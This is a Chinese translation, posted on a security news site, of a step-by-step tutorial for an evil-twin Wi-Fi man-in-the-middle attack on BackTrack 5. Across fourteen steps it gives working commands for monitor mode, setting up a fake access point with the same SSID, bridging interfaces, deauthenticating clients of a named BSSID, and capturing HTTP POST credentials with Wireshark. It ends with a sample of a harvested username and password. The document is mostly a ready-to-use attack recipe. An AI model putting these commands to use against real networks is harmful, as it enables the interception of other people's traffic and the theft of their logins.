安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 无线安全 > BT5 + wireshark玩wifi捕获和中间人攻击

BT5 + wireshark玩wifi捕获和中间人攻击

时间:2014-05-19来源: 作者:成王败寇点击:
前言:先说明一下,这个文章不是我写的,是一个老外(DeepanshuKapoor)安全专家写的,我一开始就是看着玩,但整个看完被老外那个细心和耐心给打动了,整个过程其实很简单,但是老外分了好多步骤来讲解,每个…

前言:先说明一下,这个文章不是我写的,是一个老外(Deepanshu Kapoor)安全专家写的,我一开始就是看着玩,但整个看完被老外那个细心和耐心给打动了,整个过程其实很简单,但是老外分了好多步骤来讲解,每个步骤都有配图和说明,甚至命令的参数都要解释一下。不得不佩服老外分享和奉献的精神,所以我也学着奉献一下,把它翻译成中文给大家看看吧,我尽量保持原汁原味,有不恰当的地方要原谅我,毕竟我不是专业翻译。(对原文PDF文档感兴趣的留邮箱,我发给你)

//安云网,anyun.org

BT5 + wireshark玩wifi数据包捕获和session注入(中间人攻击)

介绍:

//内容来自AnYun.ORG

主要思路是通过伪造相同名称的wifi接入点,配合发送ARP数据包,攻击连入伪造wifi的用户。一个与原有wifi相同名称的伪造接入点一旦建立,会导致用户从原有链接中断开,并连入你所建立的伪造接入点中,因此所有的通信通道都会流经我的系统,届时我们通常会用session注入的方式拿到用户所有的细节/授信状态/信息等。

//本文来自安云网

必备神器: //内容来自AnYun.ORG

1,BT5(Backtrack操作系统)
2,虚拟机(带USB设备)
3,可联网的主机 

//ANYUN.ORG

第一步:

//copyright AnYun.ORG

开BT5的terminal终端,然后输入”iwconfig” 检查无线网卡。

//内容来自安云网

说明:iwconfig类似于ifconfig,但是是用于无线网络的。它经常被用来设置无线网卡的参数。 //copyright AnYun.ORG

//copyright AnYun.ORG

第二步:

//安云网咨询系统

输入“airmon-ng start wlan0”开启无线网卡。

//内容来自AnYun.ORG

说明:这个命令可以被用来让无线网卡处于监听状态。也可以被用来从监听模式中恢复成管理模式。输入 “airmon-ng”不带参数,可以显示网卡状态。

//安云网,anyun.org

wlan0 是指wifi网卡。

//内容来自安云网

wlan 是无线局域网, 0 是你的网卡编号。 //安云网咨询系统

//ANYUN.ORG

第三步:

//内容来自AnYun.ORG

在网卡已经启动了监听模式后,输入“airodump-ng mon0”就可以开始抓包了。 //本文来自安云网

说明:airodump-ng 可以用来抓802.11的原始帧数据包,特别适合于收集WEP的初始化向量用于aircrack-ng的破解。Airodump-ng也能够用来记录找到的接入点的坐标。 //安云网咨询系统

mon0在监听模式下和wlan0的意思是一样的。 //本文来自安云网

一旦你把wlan0设置为监听模式,wlan0就要改为mon0。 //内容来自安云网

//ANYUN.ORG

第四步: //copyright AnYun.ORG

设置在airodump-ng中显示的频道ID,命令如下: //内容来自AnYun.ORG

“iwconfig mon0 channel 5”    “iwconfig wlan0 channel 5” //ANYUN.ORG 

或者  //ANYUN.ORG

“iwconfig wlan0 channel 5”    “iwconfig mon0 channel 5” 

//copyright AnYun.ORG

说明:参数“channel”用来选定一个单独的特殊频道。 //本文来自安云网

//本文来自安云网

第五步:

//ANYUN.ORG

现在开始建立你的伪造路由器,命令如下: //内容来自AnYun.ORG

“airbase-ng - e “belkin.3448” mon0” 

//内容来自AnYun.ORG

说明:airbase-ng是个多用途的工具,可针对AP(接入点)自身的客户端进行攻击,主要的思路是驱使客户端去连接伪造的AP,不是阻止客户端去连接真实AP。 //ANYUN.ORG

“-e + SSID”指定伪造AP的SSID名称。 //本文来自安云网

//copyright AnYun.ORG

第六步: //本文来自安云网

现在是时候去“桥接”所有的网络了,命令如下:

//安云网咨询系统

“brctl addbr mitm” 
“brctl addif mitm eth0”
 “brctl addif mitm at0” //内容来自AnYun.ORG 

中间人就是<interface name> 。(这句话看原文直接翻译有些难以理解,实际上作者就是想说at0这个网卡架起来的网桥就是个中间人,攻击就是在这里完成的。—–译者注) //安云网咨询系统

说明: //本文来自安云网

Brctl 用来在两个网卡之间建立桥接网络。 //安云网,anyun.org

Addbr 用来添加网桥的对象,用<name>来指定网桥的名称。 //安云网咨询系统

Addif 给已经使用addbr创建的网桥中添加一个网卡,后边的参数使用你要添加的网卡名称即可。

//ANYUN.ORG

//copyright AnYun.ORG

第七步:

//本文来自安云网

现在创建一个新的网卡配置,命令如下:

//安云网,anyun.org

“ifconfig eth0 0.0.0.0 up”
 “ifconfig at0 0.0.0.0 up” 
//内容来自AnYun.ORG

说明:ifconfig 不用多说了,用来配置网卡,大家经常用的。 //copyright AnYun.ORG

//ANYUN.ORG

第八步: //本文来自安云网

现在可以启动我们用来做中间人攻击的网桥了!命令如下: //本文来自安云网

“ifconfig mitm up” 
//内容来自AnYun.ORG

说明:配置完成的网桥可以使用ifconfig来启用。

//安云网咨询系统

//安云网咨询系统

第九步:

//内容来自安云网

现在使用下面的命令发送认证包到路由器上, //ANYUN.ORG

“aireplay-ng - - deauth 0 - a 94:44:52:DA:B4:28 mon0” //安云网,anyun.org 

说明:aireplay-ng 用来注入帧数据。 //内容来自安云网

-a 指定被攻击者的BSSID。 //ANYUN.ORG

94:44:52:DA:B4:28这个是被攻击者的BSSID。

//内容来自AnYun.ORG

//ANYUN.ORG

第十步:

//安云网咨询系统

现在开始给被攻击者分配IP,命令如下: //内容来自AnYun.ORG

“dhclient3 mitm&” 或者 “dhclient3 mitm &” 

//copyright AnYun.ORG

说明:

//copyright AnYun.ORG

使用类似DHCP的协议方式分配IP。

//安云网,anyun.org

//本文来自安云网

第十一步:

//copyright AnYun.ORG

现在你可以看看是不是有客户端已经连接上了,有的话会显示在第五步的那个命令终端里面。 //安云网咨询系统

 

//本文来自安云网

//ANYUN.ORG

第十二步:

//安云网,anyun.org

开wireshark,命令:“wireshark&

//内容来自AnYun.ORG

说明:wireshark是个网络协议抓包分析器。 //内容来自AnYun.ORG

//内容来自AnYun.ORG

第十三步:

//安云网咨询系统

选择网卡,点开始(start) //安云网,anyun.org

//copyright AnYun.ORG

第十四步: //ANYUN.ORG

输入 “http contains POST”过滤一下,然后你就可以看到所有抓下来的数据包了。

//内容来自安云网

//ANYUN.ORG

http://exploit.deepanshukapoor.org/admin.php //copyright AnYun.ORG

Username – john 

//copyright AnYun.ORG

Password – 1234

//安云网咨询系统

//安云网咨询系统

//安云网,anyun.org

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容